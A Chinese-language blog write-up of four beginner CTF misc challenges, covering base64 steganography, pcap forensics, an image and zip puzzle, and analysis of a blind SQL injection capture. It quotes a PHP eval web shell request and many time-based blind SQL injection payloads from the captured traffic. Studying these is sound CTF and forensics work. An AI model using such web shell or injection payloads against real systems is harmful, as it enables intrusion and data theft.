CTF_MISC(习题)

原创

<u>若比邻666</u> 于 2021-12-13 22:57:10 发布 2373 外 收藏

分类专栏: <u>CTF_MISC</u> 文章标签: <u>安全 misc</u>

版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。

本文链接: <u>https://blog.csdn.net/weixin_40614261/article/details/121916292</u>

版权



CTF_MISC 专栏收录该内容

1篇文章0订阅

订阅专栏

一、xctf新手练习:base64stego

- 1. 下载zip题目,解压发现有密码,考虑zip伪加密,得到解压文档
- 2. 打开文档,进行base64解密,发现是关于base64解释

U3RIZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9m IHdyaXRpbmcgaGlkZGVuIG1lc3NhZ2VzlGluIHN1Y2ggYSB3YXkgdGhhdCBubyBvbmV= LCBhcGFydCBmcm9tIHRoZSBzZW5kZXlgYW5kIGludGVuZGVkIHJIY2lwaWVudCwgc3VzcGU= Y3RzIHRoZSBleGlzdGVuY2Ugb2YgdGhlIG1lc3M= YWdILCBhIGZvcm0gb2Ygc2VjdXJpdHkgdGhyb3VnaCBvYnNjdXJpdHkuIFS= aGUgd29yZCBzdGVnYW5vZ3JhcGh5IGIzIG9mIEdyZWVrIG9yaWdpbiBhbmQgbWVhbnMgImNvbmNlYW== bGVkIHdyaXRpbmciIGZyb20gdGhlIEdyZWVrIHdvcmRzIHN0ZWdhbm9zIG1IYW5pbmcgImNv dmVyZWQgb3IgcHJvdGVjdGVkliwgYW5kIGdyYXBoZWluIG1IYW5pbmcgInRvIHc= cml0ZSIuIFRoZSBmaXJzdCByZWNvcmRIZCB1c2Ugb2YgdGhlIHRlcm0gd2FzIGluIDE0OTkgYnkgSm9o YW5uZXMgVHJpdGhlbWl1cyBpbiBoaXMgU3RIZ2Fub2dyYXBoaWEsIGEgdHJIYV== dGIzZSBvbiBjcnlwdG9ncmFwaHkgYW5kIHN0ZWdhbm9ncmFwaHkgZGIzZ8== dWIzZWQgYXMgYSBib29rIG9uIG1hZ2ljLiBHZW5lcmFsbHksIG1lc3P= YWdlcyB3aWxsIGFwcGVhciB0byBiZSBzb21ldGhpbmcgZWxzZTogaW1hZ2VzLCBhcnRp Y2xlcywqc2hvcHBpbmcqbGlzdHMsIG9yIHNvbWUqb3R=

3. 从base64原理出发解析

base64包含的字母是A-Za-z0-9+/(26+26+10+2),64个字符用二进制表示,需要6位。这样3个字符base64加密后就会变成4 位,如图

Z								Т								Q									
	90								84								81								
0	1	0	1	1	0	1	0	0	1	0	1	0	1	0	0	0	1	0	1	0	0	0	1		
22								3	7					1	7			17							
W								I			R						CSDN Pe若比邻666								

如果位数不是6的倍数,需要用"="补齐,如图

L								W															
	76								119														
0	1	0	0	1	1	0	0	0	1	1	1	0	1	1	1	0	0	0	0	0	0	0	0
	19							7						2	8	0							
т							Н				с					CSDN @若比邻666					666		

观察上图,倒数第二个字符c的前4位与加密前字符相关,后两位与加密前字符无关,这里就可以藏信息。经过推导,"="可 以藏两位信息,"=="可以藏4位信息,因此文档内每一行中隐藏的信息解出即可,将解出的信息进行拼接,每8位得到一个 字符,得到flag。

```
# base64stego
import base64
base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
f = open("stego.txt")
data = f.readlines()
res=""
binstr = ""
for line in data:
   line = line.strip('\n')
    # print line[-1]
   if line[-2:] == "==":
       temp = bin(base64.find(line[-3])&15)[2:]
       binstr=binstr+"0"*(4-len(temp))+temp
    elif line.find("=")>0:
        temp = bin(base64.find(line[-2]) & 3)[2:]
        binstr = binstr + "0" * (2 - len(temp)) + temp ##注意这里有两位存有信息
# print binstr
for i in range(0,len(binstr),8):
    res=res+chr(int((binstr[i:i+8]),2))
print res
```

二、xctf新手练习: 菜狗决定用菜刀和菜鸡决一死战

- 1. 下载下来文件发现是pcapng文件,用wireshark分析一下
- 2. 搜索flag发现有flag.txt和zip文件,foremost分离得到有个zip文件,需要解压密码(网上有人说直接将pcapng文件后缀改为 zip)
- 3. 解压密码应该在pcapng中,找...
- 4. 搜索flag,在第1150包中发现有6666.jpg(注意jpg开始字符为FFD8,结束标志为FFD9),追踪流,将里面的内容复制, 打开winhex,粘贴,另存为jpg格式图片,打开得到flag。

		19211001291120	
1149	50.140816842	192.168.43.83	192.168.25.
1150	50.147576455	192.168.43.83	192.168.25.

->|./\t2017-12-08 11:42:11\t0\t0777\n ../\t2017-12-08 11:39:10\t4096\t0777\n 1.php\t2017-12-08 11:33:16\t33\t0666\n 6666.jpg\t2017-12-08 11:42:11\t102226\t0666\n flag.txt\t2017-12-08 11:35:29\t17\t0666\n hello.zip\t2017-12-08 09:32:36\t224\t0666\n

aa=@eval.

(base64_decode(\$_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3Jz IiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDAp c2ViacRastic%2BfctporckZitivXVllNipfZcVib2BlKcPfUFoTVFcicifiXSkZlcMolF00T1 10407A4920E00FF170E005110751C7CD0D070120A750D700F2040FFA002070C1E49E3040 0356EFEEDCFF00D7D27F37ACAD47A5FF00FBF07F235E3577A7AB7F85FF001F7775B37756 B452F6B0DAB827BC9C75F5F651DB6D39FEE56FB526F0EE1CB30D9F28018C00E3F751F57B 8931FF002D1B191E99E32319C999F681B7A90C6156C60609DD73276E31F2E7B8183F2F37 EE7EFDCFFD7383F9C758F77D65FF00AF78FF00F408EBC6C4DD4ADE4F5F4EDBD97BBA2E9A 7F2A3E830EB45E89F7DD41EBD5FC7AF7F7BAC9B59E658327293B9CF2E1BEF7FB5FF02EBF 8D15763FF571FF00B8BFFA08A2B86DFE1FFC05797F93FBFEFE9E65DA5FF81BFF002F5FE9 6BFFD9HTTP/1.1 200 OK

Date: Fri, 08 Dec 2017 11:42:07 GMT

CSDN @若比邻666

9	۲ 🖨 🖓	•																
×	acfff.	txt*		acff	f.jpg													
	OFFSET H	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	OF	ASCII
	00000000	FF	D8	FF	E0	00	10	4A	46	49	46	00	01	01	01	00	78	JFIFx
	00000010	00	78	00	00	FF	DB	00	43	00	01	01	01	01	01	01	01	.xC
-	00000020	01	01	01	01	01	01	01	01	01	01	01	01	01	01	01	01	
	00000030	01	01	01	01	01	01	01	01	01	01	01	01	01	01	01	01	
	00000040	01	01	01	01	01	01	01	01	01	01	01	01	01	01	01	01	
	00000050	01	01	01	01	01	01	01	01	01	FF	DB	00	43	01	01	01	···CSDN @若比邻666
	00000000	0.1	0.1	0.1	0.1	O D	0.1	0.1	0.1	0.1	0.1	0.1	C T	O D	0.1	0.1	0.1	





 \equiv bugku_misc:http://ctf.bugku.com/challenges/detail/id/310.html



1. zip文件,解压后得到

2. 放入TThexEdit,发现是jpg格式,于是修改后缀

你明白	词吗?																
OFFSET H	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	ASCII
00000000	FF	D8	FF	E0	00	10	4A	46	49	46	00	01	01	01	00	60	JFIF`
00000010	00	60	00	00	FF	E1	11	3C	45	78	69	66	00	00	4D	4D	` <exifmm< td=""></exifmm<>





5. 密码从哪里找呢,在jpg图片,查看详情里面,与佛论禅解谜,在bugku里面找工具解

	标题	
1111.jpg	主题	
	分级	$\nleftrightarrow \Leftrightarrow \Leftrightarrow \Leftrightarrow \Leftrightarrow$
	标记	
	备注	佛曰: 等皤有娑利皤栗梵迦智夜奢倒怖亦罰大俱
	来源	
	作者	出题人已跑路
	拍摄日期	CSDN @若比邻666

6. 解压密码如图

佛曰: 等皤有娑利	播栗梵迦智夜奢倒怖亦罰大俱顯 1989-1999-1995-1995-1995-1995-1995-1995-	漫呐以哆利奢波諳悉	逝哆訶罰彌呐羅諳姪哆	大諳室諳悉怯等皤死侄想	是在特侄耶侄集
著吁惧貌漫死沙 <u></u> 餘	[明俱愣俱沙逝梵符羯怯尔踏	识			
tmps mps					

7. 得到zip文件, 需要密码解压, passwd.txt有提示

password.txt	18	3
Magazip	36	1
	38	3
	40	F



CSDN @若比邻666

8. 按照歌词每一行每一列,依次得到密码 三匆爱温蒙惚心信承失记愈的逢过濡善着记回寞神梦

9. 解压后得到图片,仿佛010中,发现最后有base64密码,解密后得到flag

起始负 2	. jpg	×															
◄ 编辑方式	t: +7	六进制	<u>ј(н)</u>	~	运行	脚本	~	运行	模板:	JPG.	bt \	⁄ ♪					
	Q					5					Ă	B	Ċ	Ď			0123456789ÅBCDEF
1:6110h:	8A	28	31	25	4E	14	0A	5A	28	A0	0A	F4	10	0F	5A	28	Š(1%NZ(.ôZ(
1:6120h:	A0	E8	13	62	E7	38	Α9	40	03	81	45	15	32	02	ЗA	AF	è.bç8©@E.2.:
1:6130h:	45	15	20	4E	55	4F	FO	F7	CD	7C	2в	E2	BF	0F	EA	7F	E. NUOð÷Í +â¿.ê.
1:6140h:	в2	CF	FC	16	47	4D	F1	06	97	A 8	47	6D	E0	FF	00	DA	²ïü.GMñ.—¨Gmàÿ.Ú
1:6150h:	57	C0	F3	5B	EB	F6	F1	C5	98	EC	\mathbf{FC}	43	A3	15	36	D7	WÀó[ëöñÅ~ìüC£.6×
1:6160h:	12	1C	E4	в4	СВ	78	11	5B	03	3E	59	19	E3	82	8A	E4	ä′Ëx.[.>Y.ã,Šä
1:6170h:	C5	6C	84	F4	68	FA	\mathbf{FC}	82	0E	08	E4	75	A2	8A	2в	C8	Ål"ôhúü,äu¢Š+È
1:6180h:	97	C4	CE	84	EE	82	8A	28	A9	18	51	45	14	00	51	45	—Ä΄Î,Š(©.QEQE
1:6190h:	14	00	51	45	14	00	51	45	14	01	59	6E	56	6E	61	33	QEQEYnVna3
1:61A0h:	56	37	54	57	46	35	58	33	6B	77	64	56	39	43	5A	56	V7TWF5X3kwdV9CZV
1:61B0h:	39	49	59	58	42	77	65	58	30	ЗD							9IYXBwCSDR @若比邻666

bugku{May_y0u_Be_Happy}

四、bugku_blind_injection2:http://ctf.bugku.com/challenges/detail/id/212.html

1. 下载附件, pcap文件, 题目提示盲注

文件	(F) 编辑(E) 视图(V) 5	跳转(G) 捕获(C) 分析(A) 🧍	统计(S) 电	活(Y) 无线(W) 工具(T) 帮助(H)
		🛐 🍳 🗢 🔿	警 🚯 🛓		€, €, ₩
Cı	urrent filter: http				X 🔿 🤊
٨o.	Time	Source	Destination	Protocol	Le Info
	32 4.413841	223.104.190.80	172.17.8.91	HTTP	4 GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)=2,sleep(1),@
	34 4.415218	172.17.8.91	223.104.190	HTTP	7 HTTP/1.1 200 OK (text/html)
	41 4.583821	223.104.190.80	172.17.8.91	HTTP	4 GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)=3,sleep(1),0
	43 4.585226	172.17.8.91	223.104.190	HTTP	7 HTTP/1.1 200 OK (text/html)
	51 4.772342	223.104.190.80	172.17.8.91	HTTP	4 GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)=4,sleep(1),0
	54 4.773705	172.17.8.91	223.104.190	HTTP	7 HTTP/1.1 200 OK (text/html)
	61 4.933195	223.104.190.80	172.17.8.91	HTTP	4 GET /Less-2/?id=1+and+if((select+count(*)+from+information_schema.schemata)当5 含油的优化的经

2. 导出http对象

 文件(F)	编辑(E)	视图(V)	跳转(G)	捕获(C)	分析(A)	统计(S)	电	话(Y)) :
Ope	n		Ctrl+O		1.		(+)	\ominus	

Open Recent 合并(M) 从 Hex 转储导入(I)	C++1+11/	Destination 172.17.8.91	Protocol HTTP	Le 4	Inf GET
Close 保存(S) 另存为(A)	Ctrl+S Ctrl+Shift+S	223.104.190 172.17.8.91 223.104.190 172.17.8.91 223.104.190	НТТР НТТР НТТР НТТР НТТР	7 4 7 4 7	HTTF GET HTTF GET HTTF
文件集合	•) 172.17.8.91 223.104.190	нттр нттр	4 7	GET HTTF
导出特定分组 导出分组解析结果 导出分组字节流(B) 导出 PDU 到文件 导出 TLS 会话密钥	• Ctrl+Shift+X	<pre>172.17.8.91 223.104.190 172.17.8.91 223.104.190 172.17.8.91 223.104.190 172.17.8.91 223.104.190 172.17.8.91</pre>	НТТР НТТР НТТР НТТР НТТР НТТР	4 7 4 7 4 4	GET HTTF GET HTTF GET HTTF GET
导出对象	•	DICOM	ТР	7	HTTF
打印(P)	Ctrl+P	HTTP IMF	328 bits)	1	<u></u>
Quit Internet Protocol Version Transmission Control Prot	Ctrl+Q + 4, 5rc: 225.104 tocol, Src Port: 66	SMB TFTP	Xensourc_ 8.91 Seg: 1 CSDN @若	_06:ca Ack:	1:93

🚄 Wireshark · 导出 · HTTP 对象列表

_

文本过滤器:	Content Type:	All Content-Types
文件名		
文件名 ?id=1+and+if((select+count(*)+from+information_schema.schemata)=4,sleep(1),0)+ ?id=1+and+if((select+count(*)+from+information_schema.schemata)=5,sleep(1),0)+ ?id=1+and+if((select+count(*)+from+information_schema.schemata)=6,sleep(1),0)+ ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem	ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)=	1,sleep(0.4),0)+ 2,sleep(0.4),0)+ 3,sleep(0.4),0)+ 4,sleep(0.4),0)+ 5,sleep(0.4),0)+ 6,sleep(0.4),0)+ 7,sleep(0.4),0)+ 8,sleep(0.4),0)+ 9,sleep(0.4),0)+
?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem ?id=1+and+if((select+length(concat(schema_name))+from+information_schema.schem	ata+limit+0,1)= ata+limit+0,1)= ata+limit+0,1)=	10,sleep(0.4),0)+ 11,sleep(0.4),0)+ 12 sleep(0.4);0)==tas

3. 前面一定为盲注基本操作,看后面信息,有等号的是注入成功的,将他们选出来

(select%20schema_name%20from%20information_schema.schemata%20limit%202,1),13,1))%20%3E%2096,sleep(0.4),0)--+ (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),13,1))%20%3C%20102,sleep(0.4),0)--+

 [select%20schema_name%20from%20information_schema.schemata%20limit%202,1),13,1))%20%3C%2099,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),13,1))%20=%2099,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),13,1))%20=%2099,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%20126,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%20126,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2079,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2079,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2056,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2056,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2044,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2044,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2044,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2044,sleep(0.4),0)--+

 (select%20schema_name%20from%20information_schema.schemata%20limit%202,1),14,1))%20%3C%2044,sleep(0.4),0)--+

文本过滤	器: %20=%20	Content Type:	All Content-Types	~
小	文件名			^
'0 bytes	?id=1+and+if(ascii(substr((select%20schema_name%20from%20information_schema.schemata%20limit%200,1),18,	1))%20=%2097,9	sleep(0.4),0)+	
'0 bytes	$? id=1+ and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,$))%20=%2099,sl	eep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 2, 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 l$))%20=%20104,9	sleep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 3, 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \%$))%20=%2097,sl	eep(0.4),0)+	
'0 bytes	$? id=1+ and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 20 limit \% 201, 1), 4, 1000 for the schemata \% 2000 for the $))%20=%20108,9	sleep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 5, 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \% 20 from \% 20 information_schemata \% 20 limit \%$))%20=%20108,9	sleep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 6, 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 $))%20=%20101,9	sleep(0.4),0)+	
'0 bytes	$? id=1+ and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 7, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 10, 7, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 2000 for the schemata $))%20=%20110,9	sleep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 8, 10 + 10 + 10 + 10 + 10 + 10 + 10 + 10 $))%20=%20103,9	sleep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 9, 1000 for the schemata \% 20 limit \% 201, 10, 9, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 20 limit \% 201, 1000 for the schemata \% 201 for the schemata \% 2$))%20=%20101,9	sleep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 201, 1), 10, and 10 limit \% 201, 10, 10 limit \% 201, 10, 10 limit \% 201, 10, 10 limit \% 201, 10 limit \% 201,$	1))%20=%20115	,sleep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,$))%20=%20102,9	sleep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 2, 1, 1, 2, 1, $))%20=%20108,9	sleep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 3, 1, 3, $))%20=%2097,sl	eep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 4, 100 limit \% 202, 100 limit \% 202,$))%20=%20103,9	leep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 5, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,$))%20=%2095,sl	eep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 6, 1, 1, 2, 2, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,$))%20=%2056,sl	eep(0.4),0)+	
'0 bytes	$? id=1+ and+ if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 7, 1000 for the schemata \% 2000 for the schema$))%20=%2097,sl	eep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 202, 1), 8, 1, 2, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,$))%20=%20102,9	sleep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 2, 1), 9, 10 + 10 + 10 + 10 + 10 + 10 + 10 + 10 $))%20=%2056,sl	eep(0.4),0)+	
'0 bytes	$? id = 1 + and + if (ascii (substr((select \% 20 schema_name \% 20 from \% 20 information_schema.schemata \% 20 limit \% 20 2, 1), 10, 10, 10, 10, 10, 10, 10, 10, 10, 10$	1))%20=%20101	,sleep(0,4),0)若比约66	6.
·	the second s		 	~

4. asiic码转字符串,得到flag,flag{8af8e03c6892476f84d1e347187b2449}

```
str=[102,108,97,103,95,56,97,102,56,101,48,51,99,54,56,57,50,52,55,54,102,56,52,100,49,101,51,52,55,49,56,55,98,
50,52,52,57]
list=''
for i in range(0,37):
    a=chr(str[i])
    list=list+a
print(list)
```